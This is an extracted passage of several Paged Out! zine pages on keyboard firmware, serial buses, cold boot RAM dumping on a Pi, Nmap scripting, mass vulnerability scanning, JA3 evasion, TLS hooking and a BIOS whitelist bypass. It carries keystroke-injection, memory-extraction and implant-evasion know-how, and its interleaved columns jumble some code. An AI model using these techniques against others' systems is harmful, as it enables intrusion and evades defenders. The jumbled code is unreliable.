keymap_base.c, run it to generate keymap.c, and then flash it case CKC_TS: /* The typeself keycode */
to the board with whatever QMK’s documentation instructs for if (record->event.pressed)
your own board. Once flashed, plug the board into a different com- SEND_STRING("/*___TYPESELF___*/");
puter, open a text editor, plug the board into a different computer, return false;
open a text editor, and then hit the X key (or whichever key you default:
selected on your board) to have the firmware type the base64 con- return true;
tents into your editor. Be prepared to wait a minute or longer for }
it to type out the base64 data - it simulates it more quickly than a }
human typist could type, but it will still be a lot of characters.

Once complete, save the file in the editor and base64-decode it typeself.py
with a command like base64 -d -i FILENAME.
#!/usr/bin/env python3
(I have also written about this in more detail here.) import base64, os, re
d = os.path.dirname(__file__)
with open(d+'/keymap_base.c') as f:
k = f.read()
CKC_MTX: Single key pwnership b = base64.b64encode(k.encode()).decode()
with open(d+'/keymap.c', 'w') as f:
The Rubber Ducky is a microcontroller that can act as a USB key-
f.write(re.sub(
board, and can be programmed to act maliciously, such as waiting
'\/\*___TYPESELF___\*\/', b, k))
on a long timer and then entering commands to launch a terminal,
download a malicious executable, run it, etc.

QMK can do some of this as well. If you hit the T key on the
keymap, it will curlbash a script to show the matrix in your ter-
minal. This example uses Mac-specific shortcuts to launçh the
terminal (cmd+space to launch Spotlight, then the string termi-
nal.app, then enter), but the same method could be used to emit
key sequences for other OSes.

Micah R Ledbetter
https://me.micahrl.com
WTFPL 11
Build your own keyboard
Hardware

CLICK! CLACK! HACK!


(or how to build your own keyboard)

I am not a good hacker, programmer or STEP 0x3 – parts and soldering


coder but I fell in love with the Paged
Out! Magazine and want to be part of it! Now we assemble the keyboard. Which parts
So, what is my intersection with that do you need? MX-Switches (number of pieces
scene? Right! Keyboards! Mechanical depends on your layout / MX switches are
Keyboards. Hackers love them, coders need easy to solder and you find a lot of
them and I build them. In my opinion, you keycaps), Keycaps for the cyber-super-
need to build your own keyboard to be a hackerish look of your keyboard, 1N4148
“real“ hacker! So, here is the guide how to Diodes (same amount as switches / protects
build your own on only one page! Have fun! against the NKEY rollover), wire, soldering
iron, a Teensy 2.0 board (or similar) and
STEP 0x1 – what do you want to build? some time. First, put all your switches
in the holes you cut out. Flip the plate.
There are a lot of keyboard layouts You can see two pins on every switch. Your
available. You can choose between 104 Key, keyboard is organized in rows and columns.
TKL, Split, Ergo, 75%, 65%, 60%, 40%, Now solder wire to the pins in every column
Compact Fullsize or you can create your own (example: ESC, Tilde, Tab, Shift, Ctrl).
layout (don´t forget to publish it on One wire connects all pins in one column.
Github for all the other enthusiasts). After that solder the diodes to the free
Just ask the searchengine of the slightest pins. Nearly done. You have to solder the
distrust and take a look at all these nice rows in the same way. One wire connect
layouts. If you are not sure whether a layout every diode in one row. Last thing to
would fit your needs just try it. This won´t solder: Every single row and column gets a
be the last keyboard you will build. Some single pin at the teensy-board. Yeah!
guys already created an online-tool to put Soldering done!
all your ideas in a keyboard-layout:
http://www.keyboard-layout-editor.com STEP 0x4 – firmware flashing
You can design it and convert it to a
bunch of formats. Fortunately, you don´t have to write your
own firmware (if you want to do that, feel
free to). There is a large repository on
GitHub with a lot of templates you can use
and/or modify for your needs. You can
change keys, can add different layers and
so on. It´s called QMK firmware:
https://qmk.fm

The QMK firmware comes with a whole toolset


that make the flashing as easy as possible.
The layouts are mostly written in
STEP 0x2 – start building understandable C.
So, install the QMK-toolkit, flash it to
After you choose your layout, it´s time to your teensy-board, plugin a cool usb-cable
start building your keyboard. Choose a and start hacking!
material for your keyboard. If you have never
built one before I can recommend wood or STEP 0x5 – fazit
some kind of plexiglass. Print out your
Layout. Use this little tool to create a These are just the basics of building a full-
stencil: funtional keyboard. There are so many
https://kbplate.ai03.com/ possibilities to mod your keyboard, layout,
Transfer it to the material and cut out case or to make your own PCBs.
the holes. Congrats! You have the plate
for your keyboard. Now you need an exact There is a big and nice community out there
copy of that but without the holes for the with a lot of crazy diy keyboard projects,
bottom. Later these both parts, plate and Podcasts, Youtube-Channels, Blogs, Forums,
bottom, will be screwed together with some etc. The parts you need to build a keyboard
M3 spacers. That´s the whole case for the are cheap and you can get them in nearly every
keyboard. electronics-store. If you build your own
keyboard, let me know – I love to see DIY
keyboards! Enjoy building your own!

Happy Hacking!

0x17
https://www.nerdbude.com
https://corteximplant.com/@0x17
12 CC0
Hardware Serial Cheat Sheet
Hardware

Hardware Serial Serial Peripheral Interface SPI


Cheat Sheet SPI is a multipoint, synchronous protocol which has 4
lines: MISO (Master In Slave Out), MOSI (Master Out
Serial communications are a key part of electronics. Slave In), SCK (Serial Clock), and CS (Chip Select). SPI is
This guide will cover the basics of a few common a full-duplex protocol, meaning it can send and receive
serial busses and their applications. data at the same time! SPI is frequently used for
high-bandwidth devices in close proximity to each other,
Bus Communication Clocking
such as ADCs and flash memory.
I2C Multipoint using addresses Synchronous
SPI Multipoint using chip-select Synchronous
UART Point-to-point Asynchronous

Inter-Integrated Circuit I²C


I²C is a multipoint, synchronous protocol which has 2
lines: SCL (Serial Clock) and SDA (Serial Data). The SCL
line provides a clock, and the data is shifted across the
SPI is similar to I²C, except it has two different lines for
SDA line. I²C devices have a 7-bit address. I²C is
sending/receiving data. A device is selected by driving
commonly used between low-bandwidth devices on the
its CS line low. With each clock pulse of SCK, the MOSI
same circuit board, like sensors and EEPROMs. The
or MISO line is toggled high or low. Unlike I²C which
simple protocol means it can even be bit-banged!
always samples on the SCL rising edge, a SPI bus can
change which SCK edge data is latched on (rising or
falling) and the SCK idle state (high or low). In the
example above, bit 0 = 1, bit 1 = 0, and bit n = 1.

Universal Asynchronous Receiver


Transmitter UART
UART is a point-to-point protocol commonly referred to
I²C lines are driven in an open-drain configuration. A as TTL Serial. It has two lines: Rx (Receive) and Tx
pull-up resistor is required to pull the bus up to its (Transmit), and can be used in full-duplex. It is
default (high) state. A 0 is sent by pulling the line to asynchronous, meaning it does not require a clock line.
ground, and a 1 is sent by releasing the line. This means that it is timing-sensitive. Both devices
must also know the transmission rate -- known as baud
-- ahead of time, along with the number of bits being
transmitted per message. A common configuration is
115200 baud, 1 start bit, 8 data bits, 1 stop bit, and no
parity bit.

An I²C message begins with a start bit. For each bit of


data in the message, the SCL line is pulled low, and the An example with the above configuration is shown,
data line is set either high or low, depending on the data sending 0xF4. UART is frequently used for text-heavy
to be sent. The SCL line is then released and the data is applications like boot logging and interactive consoles.
sampled. The message ends with a stop bit. In the Many embedded Linux devices, for example, have a
example above, bit 0 = 0, bit 1 = 1, and bit n = 0. UART serial console.

Jay Greco
https://github.com/jaygreco
SAA-TIP 0.0.7 13
Cold booting the Pi
Hardware

1 Cold boot attack on Pi using only Linux 2 Using bare metal kernel to extract RAM
In one of the original papers on the I created a very simple bare metal kernel for the
Cold Boot attack [1], Halderman et Pi which was able to dump memory over the
al. loaded an image of the Mona Lisa UART interface at 1MBaud (extensively using
and "cut power for varying lengths code from here2 ). I used the previously dis-
of time" to see if data remained in cussed program to fill the memory with images,
memory and gradually decayed (they then sprayed the DDR4 RAM with freeze spray,
made use of DDR2 RAM). I was curi- powered down and then swapped the SD card
ous about how well the attack would to one containing my simple bare metal kernel
work on a modern Single Board Com- and powered up again. I dumped the data sent Figure 2:
puter (Pi 4), without transplanting Figure 1: Dumping by the bare metal kernel using an FTDI dongle Found
the memory to another board. Clone memory using bare connected to the target Pi using another Pi, do- after cold
the repository1 which contains a sim- metal kernel, over ing stty -F /dev/ttyUSB0 1000000; (stty booting,
ple C program to load the image of UART interface raw; cat > out.dump) < /dev/ttyUSB0, apparent
Mona Lisa into RAM on the Pi, many times. this took some time! It might be worth looking corruption
I used the excellent LiME kernel module in order to dump into using SPI or similar in the future for faster due to
the whole of the Pi 4’s RAM. Ideally though, a whole OS speeds. malloc
wouldn’t be used to capture RAM data, but instead a sim- I created a simple kernel module to fill con-
ple bare metal program to dump the memory (which is de- tiguous physical memory on the Pi, to achieve
scribed later). The following command was used to disable this I first added cma=700M@36M to /boot/cmdline.txt
swap, sudo systemctl disable dphys-swapfile.service as well as setting the device tree location in /boot/con-
and then the system was rebooted. First, build the LiME fig.txt. Then I ran the module in ‘src-module’ by do-
kernel module, then, in the ‘ramrecovery’ repo, do - cd src; ing sudo insmod ramrec.ko writetoram=true file-
make run to fill RAM with the Mona Lisa. As an example name="mona.tga" singleimage=false (which wrote 939
I got the output “Done - injected 4761 images". Then, images) and froze the RAM and switched SD cards again.
quickly power off/on the Pi and run the following command Note that between each of these ex-
to dump RAM periments, I left the Pi turned off for
a period of time, around 20 minutes to
sudo insmod . / lime −$ ( uname −r ) . ko " path=out ensure no data remained. Images now
. dump fo rm a t=padded " appeared much much better! I made a
After dumping the memory to a file, to extract relevant small modification to a USB hub to use
images from the dump, you can make use of the following relays to control the switches, to turn
command to grep for the Mona Lisa (I used 18 bytes in the on/off USB disks programmatically. I
grep query, as that is the length of a TGA header). This will combined this with a Wifi plug which
output files for each Mona Lisa image it finds. the target Pi was attached to. This en-
abled me to boot from a USB disk con-
LANG=C g r e p −−t e x t −−byte−o f f s e t −−only− taining Raspberry Pi OS, inject a sin-
matching −−p e r l −r e g e x p ' \ x00 \ x00 \ x02 \ x00 gle image into contiguous memory, then Figure 3: Found
\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x58 \ x02 \ x93 \ x01 power off and wait a specific duration, after cold booting
\ x58 \ x02 \ x18 \ x20 ' out . dump | LANG=C s e d power on my bare metal kernel USB disk (0.75s delay)
" s / : . ∗ / / g " | x a r g s −I {} dd i f =out . dump and then extract the single image from
bs=1 s k i p ={} count =725444 o f ={}. t g a memory (see ‘src-experiment’). See Fig. 3 for an image ex-
There appeared to be 31 .tga files generated (this number tracted using this process with a 0.75s delay. I noticed the
depends heavily on how fast you power cycle the Pi); how- images decayed very quickly with no cooling, for example
ever, this relates just to the number of uncorrupted headers they appeared almost completely decayed around 1s.
found, there would likely be more images remaining in the It would be interesting to compare using liquid nitrogen to
memory dump. You can create a tiled image of all these files the freeze spray in terms of efficacy, or alternatively devising
by simply running montage -border 0 -mode concate- a simple system to continuously spray the DDR RAM whilst
nate .tga tiled.jpg; convert -resize "3000>" tiled.jpg swapping the SD card. It would be cool if it was possible
tiled_small.jpg. to load an image into RAM via malloc, then later dump
all memory and deduce how the image was scattered across
A lot of the images will have been corrupted, due to natural
physical memory, although I’m not sure if that is possible.
decay, but I assumed many images will have been corrupted
It would also be very interesting to investigate Linux’s ‘huge
by various applications being loaded into RAM at different
page’ support, to utilise 2MB/1GB page sizes.
locations. I later realised a key reason for the apparent cor-
ruption is the fact that although malloc allocates memory References
contiguously in virtual memory, it doesn’t allocate contigu-
ously in physical memory. This was verified by filling the [1] J Alex Halderman et al. “Lest we remember: cold-boot
memory with the Mona Lisa and dumping RAM immedi- attacks on encryption keys”. In: Communications of the
ately, I could see many images of the Mona Lisa appearing ACM 52.5 (2009), pp. 91–98.
in strange stripes. [2] Yuanzhe Wu, Grant Skipper, and Ang Cui. “Cryo-
Ideally, a "Cryogenic mechanical memory extraction" Mechanical RAM Content Extraction Against Modern
robot like Wu et al. [2] created could be used so that the Embedded Systems”. In: 2023 IEEE Security and Pri-
memory wouldn’t be touched by a pesky OS (while dumping vacy Workshops (SPW). IEEE. 2023, pp. 273–284.
memory), however, that may be a little pricey.
1 2
https://github.com/anfractuosity/ramrecovery https://github.com/isometimes/rpi4-osdev

anfractuosity
https://www.anfractuosity.com
14 CC BY-SA 4.0
Writing your first Nmap script
Networks

In this case, it’s called test.nse. The anatomy of a script is as


Writing your first Nmap script follows: The Head, which is used for the metadata. The Rules, is
where you essentially insert your program logic/conditions. The
Action is where if the rule is valid, the action is made.
Nmap Mini Introduction
--The Header--
description = [[A script that checks if a port is open]]
Nmap is widely used and is the standard for network
author = "Hussein Muhaisen"
scanning and reconnaissance.
--The Rules--
The Nmap Scripting Engine (NSE) portrule = function(host, port)
return port.protocol == "tcp" and port.state == "open"
Writing an Nmap script can be useful in many scenarios, for
end
example, if you have a custom environment to scan and Nmap
doesn’t exactly have that script available, or if a recent 0day has --The Action--
been discovered and you want to be the first one to create an action = function(host, port)
Nmap script for it. The sky's the limit. To write your first script, return "[+] Port is open."
we are going to be using Lua, which is really simple to use. All end
you need is an understanding of common programming
concepts and you will pick it up in a day. In our example, we are The script is simple: we are passing in a host and a port, then we
going to be writing a very easy script that checks if a certain port are going to see if a tcp port is open and if it is, we are going to
is open. Now, make sure you install Nmap and have a text editor the action and returning that it is open. Now, save the script in
ready to use.
/usr/share/nmap/scripts/ for it to be used and
accessed through nmap. Let’s run it now.
Nmap usage

Now, let’s first use Nmap normally to see how it operates. I am


going to be testing it on my personal website. The scan will
simply scan for ports 80(HTTP), 443(HTTPS) to see if they are
open on my website.

The script is officially working as you can see :).

Learn more
As you can see, it works perfectly! Typically, when installing
Nmap, you can find the scripts that come with it in this path: We scratched the surface. A lot of cool stuff can be done. This
was just a light introduction to writing your own Nmap scripts. I
/usr/share/nmap/scripts/. We will now use a script, recommend learning Lua, as it’s really effective and has a wide
you will analyze it being run, and we will get more results. range of applications. Then, you can learn more about the Nmap
scripting engine.
Learn Lua: https://www.lua.org/start.html
Learn NSE: https://nmap.org/book/nse-tutorial.html
NSE API: https://nmap.org/book/nse-api.html
Remember, Nmap is a Swiss Army knife; it has a lot to offer, and
some hackers can't live without it, so we better appreciate this
tool.

Conclusion
As you can see, we got much more results as we tested the
default script option. Now, let’s write our first script and get That’s about it. As a challenge try to create an Nmap script that
serious :). discovers a recent vulnerability in the wild, it will be a real good
practice for you to solidify your learnings. You can find recently
First script discovered vulnerabilities through hacker focused news
Some basics that we need to know is that our file extension will websites, exploit databases and so on ;). I really hope you all
enjoyed this simple yet effective article, as you will likely need to
end with .nse (Nmap Scripting Engine).
write your own scripts in sophisticated environments.

Hussein Muhaisen
Twitter: https://twitter.com/husseinmuhaisen
Linkedin: https://www.linkedin.com/in/husseinmuhaisen/
SAA-ALL 0.0.7 15
Simple (and works!)

Some of the best security


teams in the world swear
by Thinkst Canary.

Find out why: https://canary.tools/why


Hosts file generator
Networks

Hosts file generator


Some time ago, I needed to protect my own laptop from malware websites. There is plenty of software which can block such sites but I decided to write my own
Python script for this task. I will use the system’s hosts file for that.

What is the hosts file and how does it work? From Wikipedia: the computer file hosts is an operating system file that maps hostnames to IP addresses. It is a plain
text file.

Some people provide their hosts files and update them quite often. My script will combine those files, deduplicate them, remove comments and sort. Those file
contains lines which looks like:

0.0.0.0 malwaresite # some comment.

When such a line exists in the operating system, then the connection to ‘malwaresite’ will not succeed because the browser will try to connect to 0.0.0.0 instead of
the real ‘malwaresite’ ip address. Trying to ping that site will cause the following message:

Ping request could not find host ‘malwaresite’. Please check the name and try again. And here is the Python script which does this
task:

import urllib.request
mySet = set();
urls = set();
urls.add('https://someonewhocares.org/hosts/hosts')
urls.add('https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts')
urls.add('https://adaway.org/hosts.txt')
urls.add('https://pgl.yoyo.org/adservers/serverlist.php?hostformat=hosts;showintro=0&mimetype=plaintext')
for url in urls:
with urllib.request.urlopen(url) as response:
html = response.read()
for line in html.splitlines():
if not line.startswith(b'#'):
temp = b' '.join(line.split())
temp_arr = temp.split(b'#')
mySet.add(temp_arr[0].strip().replace(b'127.0.0.1 ', b'0.0.0.0 '))
file = open("hosts","w")
mySortedSet = sorted(mySet)
for line in mySortedSet:
file.write(str(line)[2:-1]+'\n')
file.close()

Code explanation:
• Each entry in the hosts file is stored in the mySet variable. Set type guarantees that there will be no duplicates.
• Inside urls there are hosts files that will be downloaded and from those files we get the entries.
• If a line starts from #, then it will not be taken into account. Comments will also be removed • All whitespaces will be replaced with a single space character
• All 127.0.0.1 IP addresses will be replaced with 0.0.0.0
• In the last loop, there will be writing to the hosts file which will be created in the current working directory. Entries will be sorted.
• If the program runs correctly, there is no output to the user.

All you need to do is to make a backup of the existing hosts file in your operating system and put the generated file there. You can regenerate the hosts file by
running a script from time to time because lists are updated quite often.

What’s next? You can read about how your firewall blocks websites and modify this code to support the list of suspicious domains. There are also applications for
smartphones which do similar things by blocking domains using internal VPN.

Homework: find hosts file in your operating system. Play with the code by adding a progress bar or progress in percentages to track the script progress. You can use
any library, for example: https://pypi.org/project/progress/

Marcin W€do•kowski
https://pl.linkedin.com/in/marcin-w%C4%85do%C5%82ko
wski-4a2b819a
WTFPL 17
Hyperscaling CVD on the IPv4-Space
Networks

Hyperscaling CVD $ echo "Command sequence to sorting data, see footnotes for more info!"

on the IPv4-Space
$ shodan download -limit=-1 <file> 'http.favicon.hash:989289239'
$ shodan parse --fields ip_str,port <file>.json.gz -separator : > <file>.csv
$ nuclei -H "DIVD-2023-00023" -t ./CVE-2023-36934.yaml1 -l <file>.csv -o <vuln>.json
$ go run cmd/main.go2 -i <vuln.json> -o <enriched>.json
Nowadays, organizations often fall victim to cyberattacks <...imports and file operations omitted for brevity…>
$ python -c 'makeDataFrame = lambda data: pd.DataFrame({"host": [ip for ip in data],
due to unresolved vulnerabilities rather than "abuse": [data[ip]['Abuse'] for ip in data], "timestamp": [data[ip]['timestamp'] for
sophisticated exploits. Technical debt in this context is ip in data]})'
why Coordinated Vulnerability Disclosure (CVD), as a
model, became a best practice that gives security
tools like Nuclei. These scans result in a list of vulnerable IP
researchers a guideline to notify parties affected by a vulnerability.
addresses, which can be enriched using databases like RIPEstat and
However, why report one vulnerability when you can do multiple.
WHOIS but also reverse DNS, TLS certificates, ASN or security.txt.
This article takes the reader through a methodology that focuses on
a disclosure not only at single organizations but thousands at a
The Notification Phase
time!
Once a list of confirmed vulnerable hosts is available, the
Notification phase can be started. This phase means finding the
The Dutch Institute for Vulnerability Disclosure is an NGO founded
most efficient way of reaching the owners of vulnerable hosts.
in 2019 aimed at making the Internet safer by reporting
Doing so consists of two aspects; finding the right contact and
vulnerabilities found in systems to the people who can fix them. The
(where required) writing an effective notification. Contacting host
methodology discussed is put in practice by this foundation.
owners can be done with enriched information directly. However, if
this information is coming from WHOIS-like databases, chances are
The Scan-Notify Process
that the false-positive ratio is high (this is due to a lack of
The complete process consists of two stages, Research and
maintenance and a GDPR side-effect in European countries). To
Notification. Both stages are walked through in this article and can
counter this, data can be split on a TLD-level and sent to the
be seen schematically in the figure. The goal of this process is to
respective GovCERT of that country, like CISA (Cybersecurity and
respond to the event of a new (critical) vulnerability by assessing
Infrastructure Security Agency) for the US. This functions as an
the impact and finding as many vulnerable hosts worldwide as
umbrella-structure, as the GovCERTs know how to reach specific
possible. Having found these hosts, their owners are notified with
organizations and branches. When it comes to writing an effective
patching or mitigation instructions. Doing so, the lifetime of a
notification, the timing, conciseness, (technical and novel) details,
vulnerability can be decreased drastically! During the execution of
and social influence of the notification play a large role in making
these two phases, ethics are exceptionally important as, admittedly,
host owners display patch behavior. This is based on the theory of
this process sometimes operates on the edge of the law. Typically,
gaining and maintaining a recipient's attention. Notifications are
the principles of proportionality and subsidiarity are upheld.
typically staged over email (as this is a necessary evil) with
Respectively, research shouldn't decrease integrity and availability
software like Mailmerge and have the Reply-To field set to an
of systems and if multiple options are available, the least impactful
address linked to ITSM software. This way, feedback and patch
option should be opted for.
behavior can be tracked through replies and reiterated scanning.

The Research Phase


What’s Next?
An investigation starts with the Research phase. An outline of the
The Notification phase is closed by reiterating to the Research
MOVEit 2023 investigation (DIVD-2023-00023) is given in the
phase to observe actual patching trends to determine next
command example. A vulnerability is inspected and assessed for
notification intervals. Raising awareness of this process helps
public exposure and impact. When choosing to act on this
recognize the notifications and might inspire someone to contribute!
vulnerability, a preliminary list of targets can be gathered through
So implement security.txt to help out (RFC 9116) and get scanning!
platforms like Shodan and Censys. If a functional query cannot be
A comprehensive guide on Nuclei can be found here. Now that
created, another option remains to scan on 0.0.0.0/0 (also called /0)
you've become an expert on Internet-scale vulnerability notification,
to cover the full IPv4-space. To scan on /0, the aspect of reputation
why stop at single notifications when you can orchestrate a
is important and one should use pre-computed permutations to
notification symphony, one CVE at a time?
prevent being flagged by larger IP blocks as spam (use
multithreading in Nuclei). Doing so, each /24 network block should
Want to learn more or collaborate for a societal impact? Reach
receive a packet every 10.6 seconds, each /16 network block every
out at [email protected] and let’s secure the society together!
40ms, and each /8 network block every 161μs assuming 1Gbit/s. In
either case, solidifying the fingerprint (like version numbers or
deweaponized exploits!) can be done relatively easily in YAML for

1
https://github.com/projectdiscovery/nuclei-templates
2
https://github.com/DIVD-NL/nuclei-parse-enrich

Max van der Horst


https://www.divd.nl/people/Max%20van%20der%20Horst
18 CC0
Confusing Defenders by Writing a TLS Handshake
Networks

Confusing Defenders by Writing a TLS Handshake


Max Harley

What makes TLS secure are the


cryptographic functions used between the
server and user’s browser (which I will be
calling the “client” from now on).
Cryptographic functions that take plaintext
and output cipher text are called ciphers.
Since there are many ciphers available to
use, the server and client must agree on
what cipher to use when communicating. In
TLS, the cipher is chosen by a negotiation
between the client and server. The client
makes the first request (ClientHello) with all
the available ciphers (and extensions) that it
supports. The server then responds Figure 1: ClientHello Packet
(ServerHello) with a cipher that both the
client and server support. Now that the How would one break this form of
server and client know how to detection? Just make your own ClientHello
communicate, they are able to pass packet! There are really great libraries out
encrypted data back and forth using the there for creating these packets (like
chosen cipher. refraction.networking’s utls library in Go). By
crafting your own packet, you can stop
A group of researchers consisting of John defenders from detecting your implants.
Althouse, Jeff Atkinson, and Josh Atkins Blue team can fix their faulty JA3 detection
realized that TLS libraries communicate by pairing JA3 signatures with the process
using the same five parameters from the image producing the TLS ClientHello
ClientHello message each time. One can packet. If there is a client producing a JA3
think of it like a better HTTP user agent. signature that matches Firefox, but the
This is called JA3 (Three people with first process is not Firefox, there is likely
and last names that start with JA). JA3 is a something strange occurring. Try it out with
useful detection mechanism for the blue your favorite language. You can find our
team since some malware and C2 agents implementation for Go at
have unique JA3 signatures. For example, a https://github.com/CUCyber/ja3transport.
JA3 signature hash of Meterpreter on
Windows is Since this article was first written, John
b386946a5a44d1ddcc843bc75336dfc Althouse came out with JA4+. The
e. The five ClientHello parameters JA3 uses fingerprint uses overlapping signatures to
are the TLS version, list of cipher suites, list JA3, so altering a JA3 signature will change
of extensions, list of elliptic curves, and list the JA4 signature as well. Learn more here:
of elliptic curve point formats. https://blog.foxio.io/ja4-network-fingerprintin
g-9376fe9ca637
This article has been expanded on here:
https://medium.com/cu-cyber/impersonating-ja3-fingerprints-b9f555880e42

Maxwell Harley
Twitter: 0xdab0
SAA-TIP 0.0.7 19
TLS Decryption - Block% Speedrun
Networks

TLS Decryption - have multiple ciphers ready to use. We skip the cryp-
tography to save time and we go straight to the hackiest
Block% Speedrun solution we can find.
Time for some voodoo hook magic! Hooking is ba-
sically intercepting and changing function behaviour.
Today, internet traffic is almost completely encrypted. There are various ways of doing this, but one of the
Great for privacy, bad for some security defenses. Intru- simpler ones is using the LD_PRELOAD trick. Our targets:
SSL_read and SSL_write from OpenSSL. We write a li-
sion Detection Systems (IDS) can’t analyze encrypted
traffic. The current “solution” to this is for the IDS to brary4 overwriting these functions, point LD_PRELOAD to
act as a proxy. This sucks for privacy and is an open it and call curl:
problem in IDS research. $ LD_PRELOAD = $PWD / hook . so .1 curl -s " https ://
The goal of this speedrun is to block HTTPS requests github . com / search ? q = pwn " 1 >/ dev / null
PRI * HTTP /2.0
that contain a certain string (“pwn”) in the URL. Let’s SM
start decrypting with Tshark. d@ ?? a ?? @ ? J ??? A ?? o ? @ !? z ?%? P ? @ ?? S */*
$ export SSLKEYLOGFILE = $PWD / keys . log Everything’s corrupted! What we’re seeing here is
$ tshark -i eth0 -w cap . pcap &
$ curl " https :// example . com " HTTP2’s fancy compression algorithm, HPACK. If we
$ fg # bring to fg and send SIGINT try the same request but with the flag --http1.1 added
$ tshark -r cap . pcap -x -o " tls . keylog_file : to curl, the output is readable and clear:
keys . log "
$ LD_PRELOAD = $PWD / hook . so .1 curl -s " https ://
github . com / search ? q = pwn " -- http1 .1 1 >/ dev /
null
GET / search ? q = pwn HTTP /1.1
Host : github . com
User - Agent : curl /7.68.0
Accept : */*

Checking out HPACK’s RFC5 , we can see it uses static


tables for the most common headers and then uses
indices to encode them. Headers that aren’t found in
the static table, are inserted in a dynamic table. For
some string literal values, Huffman coding is used.
But we can’t block this, it’s already on the machine!
Can we decrypt manually? We have the following
secrets logged (#HEX is a big hex number, format
explained in NSS1 docs):
S E R V E R _ H A N D S H A K E _ T R A F F I C _ S E C R E T # HEX # HEX
E XP OR TE R _S EC R ET # HEX # HEX
S E R V E R _ T R A F F I C _ S E C R E T _ 0 # HEX # HEX
C L I E N T _ H A N D S H A K E _ T R A F F I C _ S E C R E T # HEX # HEX
C L I E N T _ T R A F F I C _ S E C R E T _ 0 # HEX # HEX We are aiming for WR on this particular speedrun, so
You’d think X_TRAFFIC_SECRET is the symmetric key we we can’t start implementing HPACK decoders from
need. But why are there two? More info in this in-depth scratch. Keep hooking! After thorough searches in
blogpost2 and also in the RFC3 : libcurl, openssl, trial and error, we come across an
interesting function in libnghttp2 that should contain
[ sender ] _write_key = HKDF - Expand - Label ( Secret ,
" key " , "" , key_length )
the inflated payloads: nghttp2_submit_request. In action:
[ sender ] _write_iv = HKDF - Expand - Label ( Secret , $ LD_PRELOAD = $PWD / hook . so .1 curl -s " https ://
" iv " , "" , iv_length ) github . com / search ? q = pwn " 1 >/ dev / null
0 - RTT Application -> : method GET
client_early_traffic_secret : path / search ? q = pwn
Handshake -> : scheme https
[ sender ] _ h a n d s h a k e _ t r a f f i c _ s e c r e t : authority github . com
Application Data -> user - agent curl /7.68.0
[ sender ] _ a p p l i c a t i o n _ t r a f f i c _ s e c r e t _ N accept */*
This says we need to HKDF-Expand the application At last! We have both HTTP1 and HTTP2 requests
traffic secret to get the shared key for the encrypted hooked and visible in plaintext. Now all that’s left is
data. That’s too much effort and, from an engineer- blocking them. Quickest way to do so? Insert an exit
ing perspective, would mean that we have to manage in your hooks, when detecting the word “pwn” in the
secrets ourselves, correctly identify the cipher used and content of the request. Check the code! 6
1 https://udn.realityripple.com/docs/Mozilla/Projects/ 4 Inspired by Sebastian Cato’s repository https://github.com/

NSS/Key_Log_Format sebcat/openssl-hook
2 https://blog.bithole.dev/blogposts/tls-explained/ 5 https://www.rfc-editor.org/rfc/rfc7541
3 https://www.rfc-editor.org/rfc/rfc8446 6 https://github.com/Costinteo/hook-https

sunbather
https://github.com/Costinteo
https://dothidden.xyz
20 SAA-TIP 0.0.7
Bypassing a WLAN/WWAN BIOS whitelist on the example of Lenovo
G580 Networks

Bypassing a WLAN/WWAN BIOS whitelist on the example of Lenovo G580


You want to replace the current Wi-Fi card in your laptop mentioned UTF-16 string. Go to its location, right click and
with another model. You do it, and... you read: choose References->Show References To Address from
the context menu. Go to the code, you will see something
Unauthorized Wireless network card is like the function FUN_180000304.
plugged in. Power off and remove it
You can notice that if your card triggers the lock (i.e. bVar2
What can you do? Bypass a WLAN/WWAN lock! gets evaluated as true), then the execution will stop at the

Ok, but how? Here is the plan: void FUN_180000304(...)


1. Dump a UEFI firmware image {
bool bVar2 = false;
from the SPI flash chip on your mobo, bool bVar1 = false;
2. Find a PE32+ executable if ((DAT_180001b31 != '\0') &&
implementing the lock in the image, (DAT_180001b78 == 2)) {
FUN_1800002c0();
3. Extract the file, modify and bVar1 = true;
replace it, FUN_180000988((ushort * ) L"\nUnauthorized WWAN...", ...);
4. Flash the modified image to the bVar2 = true;
chip. }
if (((DAT_180001b30 != '\0') &&
(DAT_180001b38 != 0)) && (...)) {
Dumping the image is fairly easy. if (!bVar1) {
Locate the chip on the motherboard and FUN_1800002c0();
use a USB SPI programmer with an }
FUN_180000988((ushort * ) L"\nUnauthorized Wireless...", ...);
SOP-8 clip (AliExpress is your friend) bVar2 = true;
to read the contents. If you happen to }
find two chips, merge their contents if (bVar2) {
do {} while (true);
with: }
return;
cat dump1.bin dump2.bin > }
finaldump.bin
infinite loop before the function exit, effectively blocking
In my case, the chips are labeled Winbond 25Q32BVSIG the computer boot process. It is tempting to just remove
and cFeon Q416-104HIP. that loop, but are you sure you will not introduce any side
effects with that?
In order to find, extract and replace the executable, we use
UEFITool. I recommend using the version with the old A more detailed analysis shows that DAT_180001b31 and
engine (e.g. 0.28.0), because it allows editing and DAT_180001b30 are initialized using global lock variables.
reconstructing images. Simply use File->Search... to find Setting them both to zero disables the locking mechanism
the Unicode string 'Unauthorized...'. In my case, the culprit in this laptop.
is the file UEFIL05BIOSLock. Extract the body of its PE32
image section. Now you just need to save your changes, replace the

Now comes the interesting part. Open the executable with original executable in the image and flash the modified
